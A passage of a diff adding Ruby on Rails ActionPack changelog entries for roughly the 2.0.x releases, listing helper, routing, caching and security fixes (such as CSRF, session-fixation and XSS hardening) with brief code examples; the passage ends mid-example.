+* Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) *#136*
+
+* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" *Rick Olson*
+* InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap *Geoff Buesing*
+
+* select_date defaults to Time.zone.today when config.time_zone is set *Geoff Buesing*
+
+* Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) *#80*
+
+* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) *David Heinemeier Hansson*
+
+* Reduce number of instance variables being copied from controller to view. *Pratik Naik*
+
+* select_datetime and select_time default to Time.zone.now when config.time_zone is set *Geoff Buesing*
+
+* datetime_select defaults to Time.zone.now when config.time_zone is set *Geoff Buesing*
+
+* Remove ActionController::Base#view_controller_internals flag. *Pratik Naik*
+
+* Add conditional options to caches_page method. *Paul Horsfall*
+
+* Move missing template logic to ActionView. *Pratik Naik*
+
+* Introduce ActionView::InlineTemplate class. *Pratik Naik*
+
+* Automatically parse posted JSON content for Mime::JSON requests. *Rick Olson*
+
+ POST /posts
+ {"post": {"title": "Breaking News"}}
+
+ def create
+ @post = Post.create params[:post]
+ # ...
+ end
+
+* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. *Rick Olson*
+
+* Provide a helper proxy to access helper methods from outside views. Closes #10839 *Josh Peek*
+ e.g. ApplicationController.helpers.simple_format(text)
+
+* Improve documentation. *Xavier Noria, leethal, jerome*
+
+* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 *Josh Peek, eventualbuddha, Pratik Naik*
+
+* Support render :partial => collection of heterogeneous elements. #11491 *Zach Dennis*
+
+* Avoid remote_ip spoofing. *Brian Candler*
+
+* Added support for regexp flags like ignoring case in the :requirements part of routes declarations #11421 *NeilW*
+
+* Fixed that ActionController::Base#read_multipart would fail if boundary was exactly 10240 bytes #10886 *ariejan*
+
+* Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 *esad, packagethief*
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Fixed that FormHelper#radio_button would produce invalid ids #11298 *harlancrystal*
+
+* Added :confirm option to submit_tag #11415 *Emilio Tagua*
+
+* Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) *zhangyuanyi*
+
+* Allow the #simple_format text_helper to take an html_options hash for each paragraph. #2448 *François Beausoleil, Chris O'Sullivan*
+
+* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice. *Rick Olson*
+
+* Refactor filters to use Active Support callbacks. #11235 *Josh Peek*
+
+* Fixed that polymorphic routes would modify the input array #11363 *thomas.lee*
+
+* Added :format option to NumberHelper#number_to_currency to enable better localization support #11149 *lylo*
+
+* Fixed that TextHelper#excerpt would include one character too many #11268 *Irfy*
+
+* Fix more obscure nested parameter hash parsing bug. #10797 *thomas.lee*
+
+* Added ActionView::Helpers::register_javascript/stylesheet_expansion to make it easier for plugin developers to inject multiple assets. #10350 *lotswholetime*
+
+* Fix nested parameter hash parsing bug. #10797 *thomas.lee*
+
+* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 *Eloy Duran*
+
+* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off *David Heinemeier Hansson*
+
+* Make MimeResponds::Responder#any work without explicit types. Closes #11140 *jaw6*
+
+* Better error message for type conflicts when parsing params. Closes #7962 *spicycode, matt*
+
+* Remove unused ActionController::Base.template_class. Closes #10787 *Pratik Naik*
+
+* Moved template handlers related code from ActionView::Base to ActionView::Template. *Pratik Naik*
+
+* Tests for div_for and content_tag_for helpers. Closes #11223 *Chris O'Sullivan*
+
+* Allow file uploads in Integration Tests. Closes #11091 *RubyRedRick*
+
+* Refactor partial rendering into a PartialTemplate class. *Pratik Naik*
+
+* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block *David Heinemeier Hansson*
+
+* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 *Ernesto Jimenez*
+
+* Remove support for multivalued (e.g., '&'-delimited) cookies. *Jamis Buck*
+
+* Fix problem with render :partial collections, records, and locals. #11057 *lotswholetime*
+
+* Added support for naming concrete classes in sweeper declarations *David Heinemeier Hansson*
+
+* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application. #10098 *Tim Pope, Chris Kampmeier*
+
+* Fix typo in form_helper documentation. #10650 *Xavier Shay, Chris Kampmeier*
+
+* Fix bug with setting Request#format= after the getter has cached the value. #10889 *cch1*
+
+* Correct inconsistencies in RequestForgeryProtection docs. #11032 *Mislav Marohnić*
+
+* Introduce a Template class to ActionView. #11024 *Pratik Naik*
+
+* Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75). #9883 *rmm5t*
+
+* Introduce map.resources :cards, :as => 'tarjetas' to use a custom resource name in the URL: cards_path == '/tarjetas'. #10578 *blj*
+
+* TestSession supports indifferent access. #7372 *tamc, Arsen7, mhackett, julik, jean.helou*
+
+* Make assert_routing aware of the HTTP method used. #8039 *mpalmer*
+ e.g. assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
+
+* Make map.root accept a single symbol as an argument to declare an alias. #10818 *bscofield*
+
+ e.g. map.dashboard '/dashboard', :controller=>'dashboard'
+ map.root :dashboard
+
+* Handle corner case with image_tag when passed 'messed up' image names. #9018 *Duncan Beevers, mpalmer*
+
+* Add label_tag helper for generating elements. #10802 *DefV*
+
+* Introduce TemplateFinder to handle view paths and lookups. #10800 *Pratik Naik*
+
+* Performance: optimize route recognition. Large speedup for apps with many resource routes. #10835 *oleganza*
+
+* Make render :partial recognise form builders and use the _form partial. #10814 *Damian Janowski*
+
+* Allow users to declare other namespaces when using the atom feed helpers. #10304 *david.calavera*
+
+* Introduce send_file :x_sendfile => true to send an X-Sendfile response header. *Jeremy Kemper*
+
+* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 *Jeremy Evans*
+
+* Provide nicer access to HTTP Headers. Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. *Michael Koziarski*
+
+* UrlWriter respects relative_url_root. #10748 *Cheah Chu Yeow*
+
+* The asset_host block takes the controller request as an optional second argument. Example: use a single asset host for SSL requests. #10549 *Cheah Chu Yeow, Peter B, Tom Taylor*
+
+* Support render :text => nil. #6684 *tjennings, PotatoSalad, Cheah Chu Yeow*
+
+* assert_response failures include the exception message. #10688 *Seth Rasmussen*
+
+* All fragment cache keys are now by default prefixed with the "views/" namespace *David Heinemeier Hansson*
+
+* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore *David Heinemeier Hansson*
+
+* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store *David Heinemeier Hansson*
+
+* Made fragment caching in views work for rjs and builder as well #6642 *Dee Zsombor*
+
+* Fixed rendering of partials with layout when done from site layout #9209 *antramm*
+
+* Fix atom_feed_helper to comply with the atom spec. Closes #10672 *Xavier Shay*
+
+ * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
+ * IDs are not guaranteed unique
+ * A default self link was not provided, contrary to the documentation
+ * NOTE: This changes tags for existing atom entries, but at least they validate now.
+
+* Correct indentation in tests. Closes #10671 *Luca Guidi*
+
+* Fix that auto_link looks for ='s in url paths (Amazon urls have them). Closes #10640 *Brad Greenlee*
+
+* Ensure that test case setup is run even if overridden. #10382 *Josh Peek*
+
+* Fix HTML Sanitizer to allow trailing spaces in CSS style attributes. Closes #10566 *wesley.moxam*
+
+* Add :default option to time_zone_select. #10590 *Matt Aimonetti*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Added delete_via_redirect and put_via_redirect to integration testing #10497 *philodespotos*
+
+* Allow headers['Accept'] to be set by hand when calling xml_http_request #10461 *BMorearty*
+
+* Added OPTIONS to list of default accepted HTTP methods #10449 *holoway*
+
+* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example:
+
+ ActionController::Base.asset_host = Proc.new { |source|
+ if source.starts_with?('/images')
+ "http://images.example.com"
+ else
+ "http://assets.example.com"
+ end
+ }
+
+* Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 *dbussink*
+
+* Added that Array#to_param calls to_param on all it's elements #10473 *brandon*
+
+* Ensure asset cache directories are automatically created. #10337 *Josh Peek, Cheah Chu Yeow*
+
+* render :xml and :json preserve custom content types. #10388 *jmettraux, Cheah Chu Yeow*
+
+* Refactor Action View template handlers. #10437, #10455 *Josh Peek*
+
+* Fix DoubleRenderError message and leave out mention of returning false from filters. Closes #10380 *Frederick Cheung*
+
+* Clean up some cruft around ActionController::Base#head. Closes #10417 *ssoroka*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Fixed send_file/binary_content for testing #8044 *tolsen*
+
+* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 *Jack Danger Canty*
+
+* Update Prototype to 1.6.0.1. *sam*
+
+* Update script.aculo.us to 1.8.0.1. *madrobby*
+
+* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects. Closes #10354 *Josh Susser*
+
+* Added the same record identification guessing rules to fields_for as form_for has *David Heinemeier Hansson*
+
+* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) *David Heinemeier Hansson*
+
+* Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 *Tarmo Tänav*
+
+* Update to Prototype -r8232. *sam*
+
+* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Michael Koziarski] #10292
+
+* Added protection from trailing slashes on page caching #10229 *devrieda*
+
+* Asset timestamps are appended, not prepended. Closes #10276 *Mike Naberezny*
+
+* Minor inconsistency in description of render example. Closes #10029 *ScottSchram*
+
+* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods. *Rick Olson*
+
+* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations. Closes #10129. *Rick Olson*
+
+* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial *Rick Olson*
+
+* Fix TemplateError so it doesn't bomb on exceptions while running tests *Rick Olson*
+
+* Fixed that named routes living under resources shouldn't have double slashes #10198 *Isaac Feliu*
+
+* Make sure that cookie sessions use a secret that is at least 30 chars in length. *Michael Koziarski*
+
+* Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 *java*
+
+* Fixed that has_many :through associations should render as collections too #9051 *mathie/Jack Danger Canty*
+
+* Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 *joost*
+
+* Fixed handling of non-domain hosts #9479 *purp*
+
+* Fix syntax error in documentation example for cycle method. Closes #8735 *foca*
+
+* Document :with option for link_to_remote. Closes #8765 *Ryan Bates*
+
+* Document :minute_step option for time_select. Closes #8814 *brupm*
+
+* Explain how to use the :href option for link_to_remote to degrade gracefully in the absence of JavaScript. Closes #8911 *vlad*
+
+* Disambiguate :size option for text area tag. Closes #8955 *redbeard*
+
+* Fix broken tag in assert_tag documentation. Closes #9037 *mfazekas*
+
+* Add documentation for route conditions. Closes #9041 *innu, Manfred Stienstra*
+
+* Fix typo left over from previous typo fix in url helper. Closes #9414 *Henrik N*
+
+* Fixed that ActionController::CgiRequest#host_with_port() should handle standard port #10082 *moro*
+
+* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby*
+
+* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) *David Heinemeier Hansson*
+
+* Integration tests: get_ and post_via_redirect take a headers hash. #9130 *simonjefford*
+
+* Simplfy #view_paths implementation. ActionView templates get the exact object, not a dup. *Rick Olson*
+
+* Update tests for ActiveSupport's JSON escaping change. *Rick Olson*
+
+* FormHelper's auto_index should use #to_param instead of #id_before_type_cast. Closes #9994 *mattly*
+
+* Doc typo fixes for ActiveRecordHelper. Closes #9973 *mikong*
+
+* Make example parameters in restful routing docs idiomatic. Closes #9993 *Jack Danger Canty*
+
+* Make documentation comment for mime responders match documentation example. Closes #9357 *yon*
+
+* Introduce a new test case class for functional tests. ActionController::TestCase. *Michael Koziarski*
+
+* Fix incorrect path in helper rdoc. Closes #9926 *viktor tron*
+
+* Partials also set 'object' to the default partial variable. #8823 *Nick Retallack, Jeremy Kemper*
+
+* Request profiler. *Jeremy Kemper*
+ $ cat login_session.rb
+ get_with_redirect '/'
+ say "GET / => #{path}"
+ post_with_redirect '/sessions', :username => 'john', :password => 'doe'
+ say "POST /sessions => #{path}"
+ $ ./script/performance/request -n 10 login_session.rb
+
+* Disabled checkboxes don't submit a form value. #9301 *vladr, robinjfisher*
+
+* Added tests for options to ActiveRecordHelper#form. Closes #7213 *richcollins, mikong, Mislav Marohnić*
+
+* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false *David Heinemeier Hansson*
+
+* Ensure that cookies handle array values correctly. Closes #9937 *queso*
+
+* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc. #9928 *Geoff Buesing*
+
+* caches_page uses a single after_filter instead of one per action. #9891 *Pratik Naik*
+
+* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby*
+
+* Dispatcher: fix that to_prepare should only run once in production. #9889 *Nathaniel Talbott*
+
+* Memcached sessions: add session data on initialization; don't silently discard exceptions; add unit tests. #9823 *kamk*
+
+* error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved". #8270 *rmm5t, zach-inglis-lt3*
+
+* Make sure that custom inflections are picked up by map.resources. #9815 *Mislav Marohnić*
+
+* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call *David Heinemeier Hansson*
+
+* Extracted sanitization methods from TextHelper to SanitizeHelper *David Heinemeier Hansson*
+
+* rescue_from accepts :with => lambda { |exception| ... } or a normal block. #9827 *Pratik Naik*
+
+* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 *Coda Hale, chasgrundy*
+
+* Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 *eventualbuddha, Tarmo Tänav*
+
+* error_messages_for and friends also work with local variables. #9699 *Frederick Cheung*
+
+* Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'. #8562, #9525 *Justin Lynn, Tarmo Tänav, shoe*
+
+* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores. Closes #8662. *Rick Olson*
+
+* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes. Now you can set it in the config. *Rick Olson*
+
+ config.action_controller.optimise_named_routes = false
+
+* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape. *Rick Olson*
+
+* Only accept session ids from cookies, prevents session fixation attacks. *bradediger*
+
+
+## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.12.2 - 1.13.3 ##
+
+* Fixed that render template did not honor exempt_from_layout #9698 *pezra*
+
+* Better error messages if you leave out the :secret option for request forgery protection. Closes #9670 *Rick Olson*
+
+* Allow ability to disable request forgery protection, disable it in test mode by default. Closes #9693 *Pratik Naik*
+
+* Avoid calling is_missing on LoadErrors. Closes #7460. *ntalbott*
+
+* Move Railties' Dispatcher to ActionController::Dispatcher, introduce before_ and after_dispatch callbacks, and warm up to non-CGI requests. *Jeremy Kemper*
+
+* The tag helper may bypass escaping. *Jeremy Kemper*
+
+* Cache asset ids. *Jeremy Kemper*
+
+* Optimized named routes respect AbstractRequest.relative_url_root. #9612 *Daniel Morrison, Jeremy Kemper*
+
+* Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public. #9449 *Norbert Crombach*
+
+* Rename some RequestForgeryProtection methods. The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'. *Rick Olson*
+
+* Merge csrf_killer plugin into rails. Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests. *Rick Olson*
+
+* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks. Closes #8877. *Rick Olson, Pratik Naik, Jacques Distler*
+
+ This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
+ Also applied updated versions of #strip_tags and #strip_links from #8877.
+
+* Remove use of & logic operator. Closes #8114. *watson*
+
+* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 *Ruy Asan*
+
+* Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 *seth*
+
+* Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 *Bounga*
+
+* Added FormHelper#label. #8641, #9850 *jcoglan, Jarkko Laine*
+
+* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) *David Heinemeier Hansson*
+
+* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar). map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item. *Michael Koziarski*
+
+* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 *Pratik Naik, Mark Somerville*
+
+* Don't warn when a path segment precedes a required segment. Closes #9615. *Nicholas Seckar*
+
+* Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
+
+* Added Mime::Type.register_alias for dealing with different formats using the same mime type [David Heinemeier Hansson]. Example:
+
+ class PostsController < ApplicationController
+ before_filter :adjust_format_for_iphone
+
+ def index
+ @posts = Post.find(:all)
+
+ respond_to do |format|
+ format.html # => renders index.html.erb and uses "text/html" as the content type
+ format.iphone # => renders index.iphone.erb and uses "text/html" as the content type
+ end
+ end
+
+
+ private
+ def adjust_format_for_iphone
+ if request.env["HTTP_USER_AGENT"] && request.env["HTTP_USER_AGENT"][/iPhone/]
+ request.format = :iphone
+ end
+ end
+ end
+
+* Added that render :json will automatically call .to_json unless it's being passed a string [David Heinemeier Hansson].
+
+* Autolink behaves well with emails embedded in URLs. #7313 *Jeremy McAnally, Tarmo Tänav*
+
+* Fixed that default layouts did not take the format into account #9564 *Pratik Naik*
+
+* Fixed optimized route segment escaping. #9562 *wildchild, Jeremy Kemper*
+
+* Added block acceptance to JavaScriptHelper#javascript_tag. #7527 *Bob Silva, Tarmo Tänav, rmm5t*
+
+* root_path returns '/' not ''. #9563 *Pratik Naik*
+
+* Fixed that setting request.format should also affect respond_to blocks *David Heinemeier Hansson*
+
+* Add option to force binary mode on tempfile used for fixture_file_upload. #6380 *Jonathan Viney*
+
+* Fixed that resource namespaces wouldn't stick to all nested resources #9399 *pixeltrix*
+
+* Moved ActionController::Macros::AutoComplete into the auto_complete plugin on the official Rails svn. #9512 *Pratik Naik*
+
+* Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn. #9513 *Pratik Naik*
+
+* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb *David Heinemeier Hansson*
+
+* Removed deprecated methods [David Heinemeier Hansson]:
+
+ - ActionController::Base#keep_flash (use flash.keep instead)
+ - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
+ - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
+ - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
+
+* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension *David Heinemeier Hansson*
+
+* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) *David Heinemeier Hansson*
+
+* Optimise named route generation when using positional arguments. *Michael Koziarski*
+
+ This change delivers significant performance benefits for the most
+ common usage scenarios for modern rails applications by avoiding the
+ costly trip through url_for. Initial benchmarks indicate this is
+ between 6 and 20 times as fast.
+
+* Explicitly require active_record/query_cache before using it. *Jeremy Kemper*
+
+* Fix layout overriding response status. #9476 *lotswholetime*
+
+* Add field_set_tag for generating field_sets, closes #9477. *Damian Janowski*
+
+* Allow additional parameters to be passed to named route helpers when using positional arguments. Closes #8930 *Ian White*
+
+* Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions. *Pratik Naik*
+
+* request.host works with IPv6 addresses. #9458 *yuya*
+
+* Fix bug where action caching sets the content type to the ActionCachePath object. Closes #9282 *mindforge*
+
+* Find layouts even if they're not in the first view_paths directory. Closes #9258 *caio*
+
+* Major improvement to the documentation for the options / select form helpers. Closes #9038 *Chris Kampmeier, jardeon, wesg*
+
+* Fix number_to_human_size when using different precisions. Closes #7536. *RichardStrand, mpalmer*
+
+* Added partial layouts (see example in action_view/lib/partials.rb) *David Heinemeier Hansson*
+
+* Allow you to set custom :conditions on resource routes. *Rick Olson*
+
+* Fixed that file.content_type for uploaded files would include a trailing \r #9053 *Brad Greenlee*
+
+* url_for now accepts a series of symbols representing the namespace of the record *Josh Knowles*
+
+* Make :trailing_slash work with query parameters for url_for. Closes #4004 *nov*
+
+* Make sure missing template exceptions actually say which template they were looking for. Closes #8683 *dasil003*
+
+* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 *Stefan Kaes*
+
+ After filters will *no longer* be run if an around_filter fails to yield, users relying on
+ this behaviour are advised to put the code in question after a yield statement in an around filter.
+
+
+* Allow you to delete cookies with options. Closes #3685 *Josh Peek, Chris Wanstrath*
+
+* Allow you to render views with periods in the name. Closes #8076 *Norbert Crombach*
+
+ render :partial => 'show.html.erb'
+
+* Improve capture helper documentation. #8796 *Chris Kampmeier*
+
+* Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4. #8558 *David Chelimsky*
+
+* Allow sweepers to be created solely for expiring after controller actions, not model changes *David Heinemeier Hansson*
+
+* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller *David Heinemeier Hansson*
+
+* Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility. *Jeremy Kemper*
+
+* Fixed that link_to with an href of # when using :method will not allow for click-through without JavaScript #7037 *Steven Bristol, Josh Peek*
+
+* Fixed that radio_button_tag should generate unique ids #3353 *Bob Silva, Rebecca, Josh Peek*
+
+* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 *Mislav Marohnić*
+
+* Don't mistakenly interpret the request uri as the query string. #8731 *Pratik Naik, Jeremy Kemper*
+
+* Make ActionView#view_paths an attr_accessor for real this time. Also, don't perform an unnecessary #compact on the @view_paths array in #initialize. Closes #8582 *dasil003, julik, Rick Olson*
+
+* Tolerate missing content type on multipart file uploads. Fix for Safari 3. *Jeremy Kemper*
+
+* Deprecation: remove pagination. Install the classic_pagination plugin for forward compatibility, or move to the superior will_paginate plugin. #8157 *Josh Peek*
+
+* Action caching is limited to GET requests returning 200 OK status. #3335 *tom@craz8.com, halfbyte, Dan Kubb, Josh Peek*
+
+* Improve Text Helper test coverage. #7274 *Rob Sanheim, Josh Peek*
+
+* Improve helper test coverage. #7208, #7212, #7215, #7233, #7234, #7235, #7236, #7237, #7238, #7241, #7243, #7244 *Rich Collins, Josh Peek*
+
+* Improve UrlRewriter tests. #7207 *Rich Collins*
+
+* Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to. #6432 *mhw, Jonathan Vaught, lotswholetime*
+
+* Assume html format when rendering partials in RJS. #8076 *Rick Olson*
+
+* Don't double-escape url_for in views. #8144 *Rich Collins, Josh Peek*
+
+* Allow JSON-style values for the :with option of observe_field. Closes #8557 *kommen*
+
+* Remove RAILS_ROOT from backtrace paths. #8540 *Tim Pope*
+
+* Routing: map.resource :logo routes to LogosController so the controller may be reused for multiple nestings or namespaces. *Jeremy Kemper*
+
+* render :partial recognizes Active Record associations as Arrays. #8538 *Kamal Fariz Mahyuddin*
+
+* Routing: drop semicolon and comma as route separators. *Jeremy Kemper*
+
+* request.remote_ip understands X-Forwarded-For addresses with nonstandard whitespace. #7386 *moses*
+
+* Don't prepare response when rendering a component. #8493 *jsierles*
+
+* Reduce file stat calls when checking for template changes. #7736 *alex*
+
+* Added custom path cache_page/expire_page parameters in addition to the options hashes [David Heinemeier Hansson]. Example:
+
+ def index
+ caches_page(response.body, "/index.html")
+ end
+
+* Action Caching speedup. #8231 *Stefan Kaes*
+
+* Wordsmith resources documentation. #8484 *marclove*
+
+* Fix syntax error in code example for routing documentation. #8377. *Norbert Crombach*
+
+* Routing: respond with 405 Method Not Allowed status when the route path matches but the HTTP method does not. #6953 *Josh Peek, defeated, Dan Kubb, Coda Hale*
+
+* Add support for assert_select_rjs with :show and :hide. #7780 *dchelimsky*
+
+* Make assert_select's failure messages clearer about what failed. #7779 *dchelimsky*
+
+* Introduce a default respond_to block for custom types. #8174 *Josh Peek*
+
+* auto_complete_field takes a :method option so you can GET or POST. #8120 *zapnap*
+
+* Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 *Tim Pope*
+
+* catch possible WSOD when trying to render a missing partial. Closes #8454 *Jonathan del Strother*
+
+* Rewind request body after reading it, if possible. #8438 *s450r1*
+
+* Resource namespaces are inherited by their has_many subresources. #8280 *marclove, Geoff Garside*
+
+* Fix filtered parameter logging with nil parameter values. #8422 *choonkeat*
+
+* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST. #7124 *Nik Wakelin, François Beausoleil, Wizard*
+
+* Document caches_action. #5419 *Jarkko Laine*
+
+* Update to Prototype 1.5.1. *Sam Stephenson*
+
+* Allow routes to be decalred under namespaces [Tobias Lütke]:
+
+ map.namespace :admin do |admin|
+ admin.root :controller => "products"
+ admin.feed 'feed.xml', :controller => 'products', :action => 'feed', :format => 'xml'
+ end
+
+* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs*
+
+* observe_form always sends the serialized form. #5271 *Manfred Stienstra, normelton@gmail.com*
+
+* Parse url-encoded and multipart requests ourselves instead of delegating to CGI. *Jeremy Kemper*
+
+* select :include_blank option can be set to a string instead of true, which just uses an empty string. #7664 *Wizard*
+
+* Added url_for usage on render :location, which allows for record identification [David Heinemeier Hansson]. Example:
+
+ render :xml => person, :status => :created, :location => person
+
+ ...expands the location to person_url(person).
+
+* Introduce the request.body stream. Lazy-read to parse parameters rather than always setting RAW_POST_DATA. Reduces the memory footprint of large binary PUT requests. *Jeremy Kemper*
+
+* Add some performance enhancements to ActionView.
+
+ * Cache base_paths in @@cached_base_paths
+ * Cache template extensions in @@cached_template_extension
+ * Remove unnecessary rescues
+
+* Assume that rendered partials go by the HTML format by default
+
+ def my_partial
+ render :update do |page|
+ # in this order
+ # _foo.html.erb
+ # _foo.erb
+ # _foo.rhtml
+ page.replace :foo, :partial => 'foo'
+ end
+ end
+
+* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [David Heinemeier Hansson]. Examples:
+
+ <% form_for(@post) do |f| %>
+ ...
+ <% end %>
+
+ This will expand to be the same as:
+
+ <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
+ ...
+ <% end %>
+
+ And for new records:
+
+ <% form_for(Post.new) do |f| %>
+ ...
+ <% end %>
+
+ This will expand to be the same as:
+
+ <% form_for :post, @post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
+ ...
+ <% end %>
+
+* Rationalize route path escaping according to RFC 2396 section 3.3. #7544, #8307. *Jeremy Kemper, Chris Roos, begemot, jugend*
+
+* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [David Heinemeier Hansson]. Examples:
+
+ redirect_to(post) # => redirect_to(posts_url(post)) => Location: http://example.com/posts/1
+ link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
+
+ Any method that calls url_for on its parameters will automatically benefit from this.
+
+* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) *David Heinemeier Hansson*
+
+* Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. *Nicholas Seckar*
+
+* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) *David Heinemeier Hansson*
+
+* Modernize documentation for form helpers. *Jeremy McAnally*
+
+* Add brief introduction to REST to the resources documentation. *fearoffish*
+
+* Fix various documentation typos throughout ActionPack. *Henrik N*
+
+* Enhance documentation and add examples for url_for. *Jeremy McAnally*
+
+* Fix documentation typo in routes. *Norbert Crombach, pam*
+
+* Sweep flash when filter chain is halted. *Caio Chassot <lists@v2studio.com>*
+
+* Fixed that content_tag with a block will just return the result instead of concate it if not used in a ERb view #7857, #7432 *michael.niessner*
+
+* Replace the current block/continuation filter chain handling by an implementation based on a simple loop. #8226 *Stefan Kaes*
+
+* Update UrlWriter to accept :anchor parameter. Closes #6771. *Chris McGrath*
+
+* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [David Heinemeier Hansson]. Example:
+
+ <% div_for(post) do %> <div id="post_45" class="post">
+ <%= post.body %> What a wonderful world!
+ <% end %> </div>
+
+* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [David Heinemeier Hansson]. Example:
+
+ format.js do
